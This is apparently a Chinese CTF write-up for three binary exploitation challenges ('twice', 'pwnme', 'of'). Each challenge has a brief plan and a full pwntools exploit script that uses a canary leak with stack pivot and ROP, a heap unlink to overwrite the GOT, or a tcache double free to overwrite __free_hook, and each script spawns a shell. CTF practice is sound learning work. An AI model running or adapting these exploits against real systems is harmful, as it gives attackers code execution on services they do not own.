twice
查看文件
IDA分析
思路
第一步:利用溢出一个字节来泄露出canary和stack
第二步:利用第二次溢出来leave到迁移到上面输入的栈中,栈中提前布置好rop一个目的是泄露libc,还有一个目的是返回到start地址(pop rdi + elf.got[‘got’]+efl.got[‘plt’]+start_addr)
第三步:利用第二次程序执行的第二次溢出,leave迁移到栈中,提前准备gadget来getshell(pop rdi + binsh_addr + system_addr)
exp
#coding:utf-8
from pwn import *
import subprocess
import sys,os,string
elf_path = './pwn'
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'
P = ELF(elf_path)
context(os='linux',arch='amd64')
# context.terminal = ['terminator','-x','sh','-c']
#context.terminal = ['tmux','split','-h']
context.log_level = 'debug'
local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote('121.36.59.116',9999)
libc = ELF(remote_libc_path)
p.recvuntil('>')
p.send('\x11'*88+'\x22')
p.recvuntil('\x22')
canary = u64(p.recv(7).ljust(8,'\x00'))
canary = canary << 8
stack = u64(p.recv(6).ljust(8,'\x00'))
log.success('stack = '+hex(stack))
log.success('canary = '+hex(canary))
pop_rdi = 0x400923
leave = 0x400879
pop_rdi = 0x400923
leave = 0x400879
p.recvuntil('>')
payload = p64(pop_rdi)
payload+= p64(P.got['puts'])
payload+= p64(P.plt['puts'])
payload+= p64(0x400630)
payload = payload.ljust(88,'\x00')
p.send(payload+p64(canary)+p64(stack-(0xe0-0x68))+p64(leave))
p.recvuntil('\n')
libcbase = u64(p.recv(6).ljust(8,'\x00'))-libc.sym['puts']
log.success('libcbase = '+hex(libcbase))
p.recvuntil('>')
p.send('\x22')
p.recvuntil('>')
payload = p64(pop_rdi)
payload+= p64(libcbase+libc.search('/bin/sh').next())
payload+= p64(libcbase+libc.sym['system'])
payload = payload.ljust(88,'\x00')
p.send(payload+p64(canary)+p64(stack-(0xaf0-0x948))+p64(leave))
p.interactive()
pwnme
查看文件
IDA分析
典型的菜单题,漏洞也很明显:
思路
unlink向bss中写入bss地址,从而可以控制heap list,写got表地址leak libc,改got表getshell
exp
#coding=utf-8
from pwn import *
context.log_level = "debug"
local = 1
if local == 1:
# p = process(["qemu-arm", "-g", "1234", "-L", "/usr/624-lib", "./a.out"])
p = process(["qemu-arm", "-L", "/usr/624-lib", "./a.out"])
libc = ELF('/usr/624-lib/lib/libc.so.0')
elf = ELF('./a.out')
else:
p = remote('121.36.58.215',1337)
elf = ELF('./a.out')
libc = ELF('/usr/624-lib/lib/libc.so.0')
def new(length,content):
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil('Length:')
p.sendline(str(length))
p.recvuntil('Tag:')
p.send(content)
def show():
p.recvuntil('>>> ')
p.sendline('1')
def delete(idx):
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('Tag:')
p.sendline(str(idx))
def edit(idx,length,content):
p.recvuntil('>>> ')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Length:')
p.sendline(str(length))
p.recvuntil('Tag:')
p.send(content)
new(0x24,"\x11")
new(0xf8,"\x22")
new(0x24,"/bin/sh")
ptr = 0x2106c # 我们想要写入的地址
edit(0,0x24,p32(0)+p32(0x21)+p32(ptr-0xc)+p32(ptr-0x8)+"a"*0x10+p32(0x20)) # fd(0x21060) 写入0x2106c
delete(1)
edit(0,0x100,p32(0)*2+p32(0x24)+p32(0x2106c)+p32(0x24)+p32(elf.got['free']))
show()
sleep(1)
p.recv(11)
libc.address = u32(p.recv(4))-libc.symbols["free"]
success("libc addr ==> "+hex(libc.address))
edit(1,4,p32(libc.symbols["system"]))
delete(2)
p.interactive()
of
源码分析
给了源码
思路
double free,填满tcache释放到unsorted bin中残留libc地址,show出来。在利用tcache没有检查double free的问题,利用edit改fd为hook,改hook为system地址,将某个chunk中写入/bin/sh,delete即可getshell
exp
#coding:utf-8
from pwn import *
import subprocess
import sys,os,string
elf_path = './of'
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'
P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
context.log_level = 'debug'
local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote('121.36.74.70',9999)
libc = ELF('./libc-2.27.so')
def new(idx):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(idx))
def show(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Content: ')
p.send(content)
for i in range(8):
new(i)
for i in range(7):
delete(7-i)
delete(0)
for i in range(8):
new(0)
edit(1,'/bin/sh\x00')
show(0)
p.recvuntil("Content: ")
p.recv(8)
libcbase = u64(p.recv(6).ljust(8,'\x00'))-(0x7ff4b7488ca0-0x7ff4b709d000)
log.success('libcbase = '+hex(libcbase))
delete(0)
delete(0)
# gdb.attach(p)
delete(0)
new(0)
edit(0,p64(libcbase+libc.sym['__free_hook']))
new(2)
new(3)
edit(3,p64(libcbase+libc.sym['system']))
delete(1)
p.interactive()